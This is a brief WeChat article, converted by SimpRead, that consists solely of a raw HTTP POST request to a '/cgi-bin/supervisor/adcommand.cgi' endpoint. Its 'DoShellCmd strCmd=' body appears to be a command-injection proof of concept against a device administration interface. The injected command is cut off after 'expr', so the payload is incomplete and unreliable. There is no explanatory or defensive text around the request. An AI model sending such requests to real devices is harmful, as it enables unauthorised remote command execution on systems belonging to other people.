本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
DoShellCmd "strCmd=expr